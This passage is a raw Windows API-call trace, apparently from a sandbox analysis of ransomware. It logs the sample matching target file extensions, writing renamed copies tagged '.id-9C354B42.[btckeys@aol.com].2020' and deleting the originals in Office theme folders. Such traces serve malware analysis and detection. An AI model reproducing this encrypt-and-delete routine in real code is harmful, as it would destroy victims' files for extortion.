nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.262] SetEndOfFile (hFile=0x210) returned 1 [0083.262] CloseHandle (hObject=0x210) returned 1 [0083.262] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.262] SetEndOfFile (hFile=0x1e0) returned 1 [0083.263] CloseHandle (hObject=0x1e0) returned 1 [0083.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.264] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0083.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.264] lstrlenW (lpString=".doc") returned 4 [0083.264] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.264] lstrlenW (lpString=".docx") returned 5 [0083.264] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.264] lstrlenW (lpString=".pdf") returned 4 [0083.264] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.264] lstrlenW (lpString=".xls") returned 4 [0083.265] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.265] lstrlenW (lpString=".xlsx") returned 5 [0083.265] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.265] lstrlenW (lpString=".ppt") returned 4 [0083.265] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString=".zip") returned 4 [0083.265] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.265] lstrlenW (lpString=".rar") returned 4 [0083.265] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.265] lstrlenW (lpString=".bz2") returned 4 [0083.265] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.265] lstrlenW (lpString=".7z") returned 3 [0083.265] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString=".dbf") returned 4 [0083.265] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString=".1cd") returned 4 [0083.265] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString=".jpg") returned 4 [0083.265] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.265] lstrlenW (lpString=".doc") returned 4 [0083.266] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.266] lstrlenW (lpString=".docx") returned 5 [0083.266] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.266] lstrlenW (lpString=".pdf") returned 4 [0083.266] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.266] lstrlenW (lpString=".xls") returned 4 [0083.266] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.266] lstrlenW (lpString=".xlsx") returned 5 [0083.266] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.266] lstrlenW (lpString=".ppt") returned 4 [0083.266] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.266] lstrlenW (lpString=".zip") returned 4 [0083.266] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.266] lstrlenW (lpString=".rar") returned 4 [0083.266] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.266] lstrlenW (lpString=".bz2") returned 4 [0083.266] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.266] lstrlenW (lpString=".7z") returned 3 [0083.266] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.266] lstrlenW (lpString=".dbf") returned 4 [0083.266] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.266] lstrlenW (lpString=".1cd") returned 4 [0083.266] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0083.267] lstrlenW (lpString=".jpg") returned 4 [0083.267] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.267] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0083.267] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0083.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.267] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=34163) returned 1 [0083.267] CloseHandle (hObject=0x1e0) returned 1 [0083.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0083.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.268] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.268] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.270] GetLastError () returned 0x0 [0083.270] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x8573, lpOverlapped=0x0) returned 1 [0083.273] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x8580, lpOverlapped=0x0) returned 1 [0083.275] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0083.275] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.275] SetEndOfFile (hFile=0x210) returned 1 [0083.275] CloseHandle (hObject=0x210) returned 1 [0083.276] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.276] SetEndOfFile (hFile=0x1e0) returned 1 [0083.277] CloseHandle (hObject=0x1e0) returned 1 [0083.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.278] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0083.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.278] lstrlenW (lpString=".doc") returned 4 [0083.278] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.278] lstrlenW (lpString=".docx") returned 5 [0083.278] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.278] lstrlenW (lpString=".pdf") returned 4 [0083.278] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.278] lstrlenW (lpString=".xls") returned 4 [0083.278] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.278] lstrlenW (lpString=".xlsx") returned 5 [0083.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.278] lstrlenW (lpString=".ppt") returned 4 [0083.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.278] lstrlenW (lpString=".zip") returned 4 [0083.278] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.278] lstrlenW (lpString=".rar") returned 4 [0083.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.279] lstrlenW (lpString=".bz2") returned 4 [0083.279] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString=".7z") returned 3 [0083.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.279] lstrlenW (lpString=".dbf") returned 4 [0083.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.279] lstrlenW (lpString=".1cd") returned 4 [0083.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.279] lstrlenW (lpString=".jpg") returned 4 [0083.279] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.279] lstrlenW (lpString=".doc") returned 4 [0083.279] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString=".docx") returned 5 [0083.279] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.279] lstrlenW (lpString=".pdf") returned 4 [0083.279] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.279] lstrlenW (lpString=".xls") returned 4 [0083.279] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.279] lstrlenW (lpString=".xlsx") returned 5 [0083.279] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.279] lstrlenW (lpString=".ppt") returned 4 [0083.280] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.280] lstrlenW (lpString=".zip") returned 4 [0083.280] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.280] lstrlenW (lpString=".rar") returned 4 [0083.280] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.280] lstrlenW (lpString=".bz2") returned 4 [0083.280] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.280] lstrlenW (lpString=".7z") returned 3 [0083.280] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.280] lstrlenW (lpString=".dbf") returned 4 [0083.280] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.280] lstrlenW (lpString=".1cd") returned 4 [0083.280] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0083.280] lstrlenW (lpString=".jpg") returned 4 [0083.280] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.280] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0083.280] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0083.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.281] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=937) returned 1 [0083.281] CloseHandle (hObject=0x1e0) returned 1 [0083.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0083.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.282] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.282] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.284] GetLastError () returned 0x0 [0083.284] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x3a9, lpOverlapped=0x0) returned 1 [0083.289] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0083.290] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0083.290] WriteFile (in: hFile=0x210, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0083.290] SetEndOfFile (hFile=0x210) returned 1 [0083.290] CloseHandle (hObject=0x210) returned 1 [0083.291] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.291] SetEndOfFile (hFile=0x1e0) returned 1 [0083.292] CloseHandle (hObject=0x1e0) returned 1 [0083.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0083.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.292] lstrlenW (lpString=".doc") returned 4 [0083.292] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.293] lstrlenW (lpString=".docx") returned 5 [0083.293] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.293] lstrlenW (lpString=".pdf") returned 4 [0083.293] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.293] lstrlenW (lpString=".xls") returned 4 [0083.293] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.293] lstrlenW (lpString=".xlsx") returned 5 [0083.293] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.293] lstrlenW (lpString=".ppt") returned 4 [0083.293] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.293] lstrlenW (lpString=".zip") returned 4 [0083.293] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.293] lstrlenW (lpString=".rar") returned 4 [0083.293] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.293] lstrlenW (lpString=".bz2") returned 4 [0083.293] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.293] lstrlenW (lpString=".7z") returned 3 [0083.293] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.293] lstrlenW (lpString=".dbf") returned 4 [0083.293] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.293] lstrlenW (lpString=".1cd") returned 4 [0083.293] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.293] lstrlenW (lpString=".jpg") returned 4 [0083.293] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.294] lstrlenW (lpString=".doc") returned 4 [0083.294] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.294] lstrlenW (lpString=".docx") returned 5 [0083.294] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.294] lstrlenW (lpString=".pdf") returned 4 [0083.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString=".xls") returned 4 [0083.294] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString=".xlsx") returned 5 [0083.294] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.294] lstrlenW (lpString=".ppt") returned 4 [0083.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.294] lstrlenW (lpString=".zip") returned 4 [0083.294] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString=".rar") returned 4 [0083.294] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.294] lstrlenW (lpString=".bz2") returned 4 [0083.294] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.294] lstrlenW (lpString=".7z") returned 3 [0083.294] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.294] lstrlenW (lpString=".dbf") returned 4 [0083.294] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.295] lstrlenW (lpString=".1cd") returned 4 [0083.295] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0083.295] lstrlenW (lpString=".jpg") returned 4 [0083.295] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.295] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0083.295] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0083.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.296] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=29305) returned 1 [0083.296] CloseHandle (hObject=0x1e0) returned 1 [0083.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0083.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0083.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.297] GetLastError () returned 0x0 [0083.297] ReadFile (hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0) Thread: id = 11 os_tid = 0x3a4 [0060.792] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x550500 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x560508 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500308 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4ea390 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500320 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3640020 [0060.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500338 [0060.794] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500338, Size=0x20) returned 0x52f938 [0060.794] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500338 [0060.794] RtlReAllocateHeap 